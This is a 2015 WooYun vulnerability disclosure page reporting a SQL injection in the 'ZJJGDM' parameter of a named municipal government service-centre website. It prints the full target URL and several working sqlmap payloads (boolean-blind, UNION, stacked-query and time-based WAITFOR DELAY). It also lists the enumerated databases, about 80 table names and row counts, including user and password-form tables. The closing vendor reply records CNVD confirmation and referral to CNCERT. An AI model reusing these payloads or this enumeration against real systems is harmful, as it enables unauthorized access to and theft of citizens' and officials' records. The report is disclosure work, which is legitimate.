当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0105576

漏洞标题：某市人民政府政务服务中心存在get注入

相关厂商：cncert国家互联网应急中心

漏洞作者： 路人甲

提交时间：2015-04-07 12:23

修复时间：2015-05-25 17:40

公开时间：2015-05-25 17:40

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：11

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-04-07： 细节已通知厂商并且等待厂商处理中
2015-04-10： 厂商已经确认，细节仅向厂商公开
2015-04-20： 细节向核心白帽子及相关领域专家公开
2015-04-30： 细节向普通白帽子公开
2015-05-10： 细节向实习白帽子公开
2015-05-25： 细节向公众公开

简要描述：

某市人民政府政务服务中心存在get注入

详细说明：

问题存在于当阳市人民政府政务服务中心
http://www.dyxz.gov.cn/application/wsbs/bszn/xzzhinanxiang.jsp?ZJJGDM=01115411X&depName=%E5%BD%93%E9%98%B3%E5%B8%82%E7%BB%8F%E8%B4%B8%E5%B1%80 (GET)

1.png


用sqlmap跑多了就访问不了了

Payload: ZJJGDM=01115411X' WAITFOR DELAY '0:0:5'--&depName=%E5%BD%93%E9%98%B3%E5%B8%82%E7%BB%8F%E8%B4%B8%E5%B1%80
---
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2005
available databases [5]:
[*] master
[*] model
[*] msdb
[*] tempdb
[*] web_dangyang
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---


back-end DBMS: Microsoft SQL Server 2005
Database: web_dangyang
[80 tables]
+-----------------------------+
| T_APPLICANT                 |
| T_BSGXB                     |
| T_BUSIITEM                  |
| T_BUSINESS                  |
| T_DCB                       |
| T_DEALSELDOCS               |
| T_DJL                       |
| T_DOCCONFIG                 |
| T_FAQ                       |
| T_GROUPOFUSER               |
| T_HFB                       |
| T_INFORMATION               |
| T_JC_TS_GRSF                |
| T_JC_TS_TSLX                |
| T_JC_TS_TSWTFL              |
| T_JC_TS_XB                  |
| T_JC_TS_XZXWLX              |
| T_JC_TS_YESORNO             |
| T_JC_XZXK_BANJIE            |
| T_JC_XZXK_BUSIINDEX         |
| T_JC_XZXK_BUSI_TIMELIMIT    |
| T_JC_XZXK_PERMISSIONITEMSYS |
| T_JC_XZXK_SHOULI            |
| T_LOG                       |
| T_LYB                       |
| T_MENU                      |
| T_OL_BUSIDEAL               |
| T_OL_DIANZIWENDANG          |
| T_OL_EDOCUMENT              |
| T_OL_SHENQINGBIANHAO        |
| T_OL_SHENQINGFANGZILIAO     |
| T_OL_XIANSHIXINXIPEIZHI     |
| T_OL_YEWUSHENQING           |
| T_ONLINEUSER                |
| T_POWER                     |
| T_POWEROFGROUP              |
| T_POWEROFUSER               |
| T_QYJMBSB_FL                |
| T_QYJMBSB_SL                |
| T_QYJMBSB_ZL                |
| T_SATISFYANSWER             |
| T_SATISFYSUBJECT            |
| T_SB_USER                   |
| T_SELDOC                    |
| T_SPITEMOFBUSIITEM          |
| T_SURVEY                    |
| T_SYSDUTY                   |
| T_SYS_DEPARTMENT            |
| T_SYS_DUTY                  |
| T_TEMPLATE                  |
| T_TSDH                      |
| T_TSLX                      |
| T_TSSLB                     |
| T_TSTYPE                    |
| T_TSWTFL                    |
| T_TSXB                      |
| T_USER                      |
| T_USERGROUP                 |
| T_WEBUSER                   |
| T_WEBUSERINFO               |
| T_XKWD                      |
| T_YSBUSI                    |
| T_ZILEI_SUNLEI_GUANXI       |
| T_ZRXX                      |
| VIEW1                       |
| dtproperties                |
| sqlmapoutput                |
| t_allforms                  |
| t_chats                     |
| t_department                |
| t_document                  |
| t_duty                      |
| t_exception_info            |
| t_forms                     |
| t_passwordofforms           |
| t_permissionitem            |
| t_permissionitem_bak        |
| t_permissionitem_type       |
| t_query                     |
| t_web_user                  |
+-----------------------------+
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: ZJJGDM (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ZJJGDM=01115411X' AND 6959=6959 AND 'zmyw'='zmyw&depName=%E5%BD%93%E9%98%B3%E5%B8%82%E7%BB%8F%E8%B4%B8%E5%B1%80
    Type: UNION query
    Title: Generic UNION query (NULL) - 6 columns
    Payload: ZJJGDM=01115411X' UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(120)+CHAR(120)+CHAR(98)+CHAR(113)+CHAR(88)+CHAR(112)+CHAR(79)+CHAR(82)+CHAR(88)+CHAR(67)+CHAR(98)+CHAR(69)+CHAR(68)+CHAR(74)+CHAR(113)+CHAR(106)+CHAR(112)+CHAR(107)+CHAR(113),NULL,NULL,NULL-- &depName=%E5%BD%93%E9%98%B3%E5%B8%82%E7%BB%8F%E8%B4%B8%E5%B1%80
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: ZJJGDM=01115411X'; WAITFOR DELAY '0:0:5'--&depName=%E5%BD%93%E9%98%B3%E5%B8%82%E7%BB%8F%E8%B4%B8%E5%B1%80
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: ZJJGDM=01115411X' WAITFOR DELAY '0:0:5'--&depName=%E5%BD%93%E9%98%B3%E5%B8%82%E7%BB%8F%E8%B4%B8%E5%B1%80
---
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2005
Database: web_dangyang
[80 tables]
+-----------------------------+
| T_APPLICANT                 |
| T_BSGXB                     |
| T_BUSIITEM                  |
| T_BUSINESS                  |
| T_DCB                       |
| T_DEALSELDOCS               |
| T_DJL                       |
| T_DOCCONFIG                 |
| T_FAQ                       |
| T_GROUPOFUSER               |
| T_HFB                       |
| T_INFORMATION               |
| T_JC_TS_GRSF                |
| T_JC_TS_TSLX                |
| T_JC_TS_TSWTFL              |
| T_JC_TS_XB                  |
| T_JC_TS_XZXWLX              |
| T_JC_TS_YESORNO             |
| T_JC_XZXK_BANJIE            |
| T_JC_XZXK_BUSIINDEX         |
| T_JC_XZXK_BUSI_TIMELIMIT    |
| T_JC_XZXK_PERMISSIONITEMSYS |
| T_JC_XZXK_SHOULI            |
| T_LOG                       |
| T_LYB                       |
| T_MENU                      |
| T_OL_BUSIDEAL               |
| T_OL_DIANZIWENDANG          |
| T_OL_EDOCUMENT              |
| T_OL_SHENQINGBIANHAO        |
| T_OL_SHENQINGFANGZILIAO     |
| T_OL_XIANSHIXINXIPEIZHI     |
| T_OL_YEWUSHENQING           |
| T_ONLINEUSER                |
| T_POWER                     |
| T_POWEROFGROUP              |
| T_POWEROFUSER               |
| T_QYJMBSB_FL                |
| T_QYJMBSB_SL                |
| T_QYJMBSB_ZL                |
| T_SATISFYANSWER             |
| T_SATISFYSUBJECT            |
| T_SB_USER                   |
| T_SELDOC                    |
| T_SPITEMOFBUSIITEM          |
| T_SURVEY                    |
| T_SYSDUTY                   |
| T_SYS_DEPARTMENT            |
| T_SYS_DUTY                  |
| T_TEMPLATE                  |
| T_TSDH                      |
| T_TSLX                      |
| T_TSSLB                     |
| T_TSTYPE                    |
| T_TSWTFL                    |
| T_TSXB                      |
| T_USER                      |
| T_USERGROUP                 |
| T_WEBUSER                   |
| T_WEBUSERINFO               |
| T_XKWD                      |
| T_YSBUSI                    |
| T_ZILEI_SUNLEI_GUANXI       |
| T_ZRXX                      |
| VIEW1                       |
| dtproperties                |
| sqlmapoutput                |
| t_allforms                  |
| t_chats                     |
| t_department                |
| t_document                  |
| t_duty                      |
| t_exception_info            |
| t_forms                     |
| t_passwordofforms           |
| t_permissionitem            |
| t_permissionitem_bak        |
| t_permissionitem_type       |
| t_query                     |
| t_web_user                  |
+-----------------------------+
Database: web_dangyang
+-----------------------------+---------+
| Table                       | Entries |
+-----------------------------+---------+
| dbo.T_DJL                   | 541313  |
| dbo.T_OL_BUSIDEAL           | 318758  |
| dbo.T_APPLICANT             | 77404   |
| dbo.T_BUSINESS              | 61142   |
| dbo.T_LOG                   | 18769   |
| dbo.T_ONLINEUSER            | 3623    |
| dbo.T_OL_SHENQINGBIANHAO    | 1590    |
| dbo.T_SPITEMOFBUSIITEM      | 1514    |
| dbo.T_INFORMATION           | 1410    |
| dbo.T_DOCCONFIG             | 1329    |
| dbo.t_document              | 1281    |
| dbo.T_POWEROFUSER           | 1080    |
| dbo.t_web_user              | 801     |
| dbo.T_LYB                   | 661     |
| dbo.t_passwordofforms       | 574     |
| dbo.t_permissionitem        | 439     |
| dbo.T_BUSIITEM              | 430     |
| dbo.T_POWEROFGROUP          | 375     |
| dbo.T_ZILEI_SUNLEI_GUANXI   | 299     |
| dbo.T_HFB                   | 255     |
| dbo.T_OL_SHENQINGFANGZILIAO | 178     |
| dbo.T_OL_YEWUSHENQING       | 178     |
| dbo.T_DEALSELDOCS           | 142     |
| dbo.t_permissionitem_bak    | 72      |
| dbo.T_ZRXX                  | 54      |
| dbo.T_QYJMBSB_ZL            | 50      |
| dbo.T_SYS_DUTY              | 47      |
| dbo.T_POWER                 | 46      |
| dbo.T_MENU                  | 45      |
| dbo.t_department            | 40      |
| dbo.T_FAQ                   | 34      |
| dbo.T_SATISFYANSWER         | 32      |
| dbo.t_forms                 | 31      |
| dbo.T_GROUPOFUSER           | 22      |
| dbo.T_DCB                   | 20      |
| dbo.t_duty                  | 14      |
| dbo.T_TSDH                  | 14      |
| dbo.T_JC_TS_GRSF            | 13      |
| dbo.T_JC_TS_TSWTFL          | 13      |
| dbo.T_TSWTFL                | 13      |
| dbo.T_OL_EDOCUMENT          | 12      |
| dbo.t_permissionitem_type   | 12      |
| dbo.T_XKWD                  | 10      |
| dbo.T_JC_TS_XZXWLX          | 9       |
| dbo.t_allforms              | 7       |
| dbo.T_TSSLB                 | 6       |
| dbo.T_USER                  | 6       |
| dbo.T_USERGROUP             | 6       |
| dbo.T_TEMPLATE              | 5       |
| dbo.T_SURVEY                | 4       |
| dbo.T_SYSDUTY               | 4       |
| dbo.T_JC_TS_TSLX            | 3       |
| dbo.T_JC_TS_XB              | 3       |
| dbo.T_TSLX                  | 3       |
| dbo.T_TSTYPE                | 3       |
| dbo.T_TSXB                  | 3       |
| dbo.T_JC_TS_YESORNO         | 2       |
| dbo.T_OL_DIANZIWENDANG      | 2       |
| dbo.T_QYJMBSB_FL            | 2       |
| dbo.T_SATISFYSUBJECT        | 1       |
| dbo.T_WEBUSER               | 1       |
+-----------------------------+---------+


漏洞证明：

1.png


1.png

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2015-04-10 17:38

厂商回复：

CNVD确认并复现所述漏洞情况，已经转由CNCERT下发给湖北分中心，由湖北分中心后续协调网站管理单位处置。

最新状态：

暂无

漏洞评价：

评论